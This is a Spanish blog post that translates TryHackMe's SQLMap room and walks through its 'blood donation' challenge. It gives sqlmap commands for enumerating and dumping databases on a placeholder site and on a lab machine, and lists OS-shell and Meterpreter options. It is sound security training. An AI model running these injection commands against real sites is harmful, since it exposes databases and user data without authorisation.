TryHackMe: SQLMap Writeup

Explotación de la vulnerabilidad SQL Injection con sqlmap - Byte Mind

SQLMap es una herramienta muy útil a la hora de buscar bases de datos en páginas web. En esta ocasión os traigo una entrada para el blog algo distinta de a lo que estoy acostumbrado. Se trata de una traducción + writeup de la sala de SQLMap.

Los dos primeros apartados se ciñen a la traducción de esta sala de TryHackMe, pero en la tercera parte de la entrada me he decidido por hacer un writeup en toda regla, con capturas y explicaciones de cómo llegar al final, pero sin poneros las respuestas para que podáis afrontar este reto con una guía. Sin embargo, no os mostraré la solución como tal.

Espero que este nuevo estilo en el blog os guste, y os agradecería feedback al respecto con vuestros comentarios aquí o en redes sociales.

Introducción

En esta sala aprenderás acerca de SQLMap y cómo se puede utilizar para explotar vulnerabilidades de inyección SQL.

¿Qué es sqlmap?

Sqlmap es una herramienta de pentesting de código abierto desarrollada por Bernardo Damele Assumpçao Guimaraes y Miroslav Stampar, que automatiza el proceso de detección y explotación de inyecciones SQL y toma el control de los servidores de bases de datos. Tiene integrado un motor de detección muy potente, muchas características de nicho para pentesters, y una amplia gama de modificadores que van desde el fingerprinting de la base de datos, la obtención de dichos datos, hasta el acceso al sistema de archivos subyacente y la ejecución de comandos en el sistema operativo a través de conexiones out-of-band.

Instalando Sqlmap

Si estás usando Kali Linux, sqlmap viene preinstalado. Si no, puedes descargarlo desde su repositorio: https://github.com/sqlmapproject/sqlmap

Usando Sqlmap

Comandos Sqlmap

Para mostrar el menú de ayuda básico, simplemente escribe sqlmap -h en la terminal.

Comandos Básicos:

Opciones Descripción
-u URL, –url= URL URL Objetivo (p.ej. http://www.site.com/vuln.php?id?1)
–data=DATOS Cadena de datos a enviar mediante POST (p.ej. “id=1”)
–random-agent Usar un valor seleccionado aleatoriamente para la cabecera HTTP User-Agent
-p PARÁMETRO Parámetro(s) a probar
–level=NIVEL Nivel de las pruebas a realizar (1-5, 1 por defecto)
–risk=RIESGO Riesgo de las pruebas a realizar (1-3, 1 por defecto)

Comandos de Enumeración:

Estas opciones se pueden usar para enumerar la información de la base de datos en el back-end, la estructura de la misma y los datos contenidos en ella.

Opciones Descripción
-a, –all Recuperar todo
-b, –banner Recuperar el banner de DBMS
–current-user Recuperar el usuario actual de DBMS
–current-db Recuperar la base de datos actual de DBMS
–paswords Enumerar los hashes de contraseña de los usuarios de DBMS
–dbs Enumerar bases de datos de DBMS
–tables Enumerar las tablas de la base de datos de DBMS
–columns Enumerar las columnas de la tabla de la base de datos de DBMS
–schema Enumerar el esquema de DBMS
–dump Volcar las entradas de la tabla de la base de datos de DBMS
–dump-all Volcar todas las entradas de las tablas de la base de datos de DBMS
–is-dba Detectar si la DBMS actual es DBA
-D <NOMBRE BASE DE DATOS> DBMS a enumerar
-T <NOMBRE DE LA TABLA> Tabla(s) de la base de datos de DBMS a enumerar
-C COL Columna(s) de la tabla de la base de datos de DBMS a enumerar

Comandos de Acceso al Sistema Operativo:

Estas opciones se pueden usar para acceder al sistema de la base de datos en el back-end en el sistema operativo objetivo.

Opciones Descripción
–os-shell Solicitud de un intérprete interactivo de comandos del sistema operativo
–os-pwn Solicitud de un intérprete de comandos de OOB, Meterpreter o VNC
–os-cmd=OSCMD Ejecuta un comando del sistema operativo
–priv-esc Escalada de privilegios del usuario de proceso de la base de datos
–os-smbrelay Solicitud de un intérprete de comandos de OOB, Meterpreter o VNC con un solo clic

Hay que destacar que los comandos de las tablas superiores no son todas las opciones posibles de sqlmap. Para una lista más extensa de las opciones disponibles, ejecuta sqlmap -hh para mostrar el mensaje de ayuda avanzada. Además, como consejo personal, si buscáis algo concreto en la ayuda siempre podéis usar los pipes y usar el comando grep para hacer la búsqueda en el resultado de la ayuda.

Ahora que ya hemos visto algunas de las opciones que podemos usar en sqlmap, nos podemos adentrar en los ejemplos usando tanto el método GET como el método POST para realizar peticiones.

Prueba simple basada en HTTP GET

sqlmap -u https://testsite.com/page.php?id=7 –dbs

Aquí hemos usado dos flags: -u para indicar la URL vulnerable y –dbs para enumerar la base de datos.

Prueba simple basada en HTTP POST

Primero necesitamos identificar la petición POST vulnerable y guardarla. Una vez encontrada la petición con BurpSuite, para guardarla solo hemos de hacer clic derecho en la petición, seleccionar ‘Copy to file’ (copiar a archivo) y guardarla en un directorio en nuestro equipo. También podemos copiar la petición completa y guardarla en un archivo de texto.

En esta petición podemos ver que tenemos un parámetro POST llamado ‘blood_group’ el cual puede ser un parámetro vulnerable.

Ahora que hemos identificado un parámetro potencialmente vulnerable, vayamos a sqlmap a utilizar el siguiente comando:

sqlmap -r req.txt -p blood_group –dbs

sqlmap -r <archivo_de_texto> -p <parámetro_vulnerable> –dbs

Aquí hemos utilizado dos flags: -r para leer el archivo con la petición guardada, -p para indicar el parámetro vulnerable, y –dbs para enumerar la base de datos de nuevo.

Esto nos dará un resultado en el cual podremos ver, entre otras, las siguientes líneas de código:

[19:33:16] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.10.3

back-end DBMS: MySQL >= 5.0.12

[19:33:17] [INFO] fetching database names

available databases [6]:

[*] blood

[*] information_schema

[*] mysql

[*] performance_schema

[*] sys

[*] test

Ahora que tenemos las bases de datos, toca extraer las tablas de la base de datos blood.

Usando el método basado en GET

sqlmap -u https://testsite.com/page.php?id=7 -D blood –tables

sqlmap -u https://testsite.com/page.php?id=7 -D <nombre_de_la_base_de_datos> –tables

Usando el método basado en POST

sqlmap -r req.txt -p blood_group -D blood –tables

sqlmap -r req.txt -p <parámetro_vulnerable> -D <nombre_de_la_base_de_datos> –tables

Una vez ejecutados estos comandos, deberíamos obtener las tablas:


[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: ‘blood’
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+———-+
| blood_db |
| flag          |
| users        |
+———-+

Una vez que tenemos las tablas, podemos obtener las columnas de la tabla de forma similar a como hemos obtenido las tablas:

sqlmap -u https://testsite.com/page.php?id=7 -D <nombre_de_la_base_de_datos> -T <nombre_de_la_tabla> –columns

En el caso de POST el comando quedaría:

sqlmap -r req.txt -D <nombre_de_la_base_de_datos> -T <nombre_de_la_tabla> –columns

Algo más que podemos hacer es volcar la base de datos por completo con todas sus tablas con estos comandos:

sqlmap -u https://testsite.com/page.php?id=7 -D <nombre_de_la_base_de_datos> –dump-all

O con el siguiente comando para POST:

sqlmap -r req.txt -D <nombre_de_la_base_de_datos> –dump-all

Desafío SQLMap

Lo primero que debemos hacer aquí es desplegar la máquina adjunta y dirigirnos a la IP asignada para dicha máquina.

Se ha desplegado una aplicación para recolectar ‘Donaciones de Sangre’. La petición parece ser vulnerable.

Hay que explotar la vulnerabilidad de inyección SQL en la aplicación para encontrar la flag.

Lo primero que tenemos que buscar es en qué directorio de la IP asignada está la página a la que podemos acceder. Para ello usaremos gobuster y haremos una búsqueda de nombres de directorio usando el diccionario rockyou. Con ello encontramos lo siguiente:

Acto seguido vamos al navegador web (en mi caso Firefox) y ponemos en la barra de direcciones la IP de la máquina de TryHackMe seguido de / y el nombre del directorio que hemos encontrado. Debería aparecernos la siguiente página:

Pulsamos en Register en la parte superior derecha, y procedemos a registrarnos en la web, para poder después acceder a la zona de usuario.

Una vez hemos hecho login en la plataforma, en la parte superior izquierda aparecen estos iconos:

Si pulsamos sobre el tercer icono, nos aparecerá la lista de usuarios que han donado sangre, con un usuario llamado Nare. A la derecha de este usuario veremos un icono de un ojo. Si pulsamos sobre él, accedemos a la ficha de ese usuario.

Aquí, si nos fijamos en la barra de direcciones del navegador, veremos que, por primera vez, aparece un parámetro que puede ser susceptible de vulnerabilidad. Es por ello que pasamos a usar sqlmap con esta dirección web y con ese parámetro, para comprobar si accedemos al nombre de la base de datos y al usuario actual, que es el que buscamos.

Con el comando sqlmap -u http://10.10.236.64/blood/view.php?id=1 -p id –current-user accedemos a los siguientes datos:

Ahora que tenemos el nombre del usuario actual, pasamos a averiguar el nombre de la base de datos, sus tablas y columnas.

Con el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id –dbs obtenemos el nombre de las bases de datos en el sistema.

La candidata es la primera, la base de datos llamada blood, ya que las otras son muy genéricas, por lo que vamos a ver qué tablas contiene. Con el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id -D blood –tables obtenemos los nombres de las tablas de la base de datos:

Podemos ver que la base de datos tiene tres tablas, de las cuales hay una que nos llama la atención. La tabla flag es la que tiene más posibilidades de tener el dato que buscamos, por lo que vamos a ver qué columnas contiene con el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id -D blood -T flag –columns:

Vemos una columna llamada flag que contiene datos de tipo varchar, por lo que tiene toda la pinta de ser la flag que buscamos. Solo nos queda descubrir el contenido de esa columna mediante el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id -D blood -T flag -C flag –dump:

Con eso respondemos a la última pregunta de esta sala.

Espero que os haya ayudado esta guía y que, como yo, después de realizar esta máquina, hayáis aprendido algo más acerca de cómo se utiliza esta gran herramienta llamada sqlmap.

Acceso al contenido original de TryHackMe: https://tryhackme.com/room/sqlmap

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Ads Blocker Image Powered by Code Help Pro

¡¡¡Ads Blocker Detectado!!!

Hemos detectado que usas extensiones para bloquear anuncios. Por favor, si te interesa el contenido, no bloquees los anuncios, que son lo que nos ayuda a poder publicar más contenido como este 😊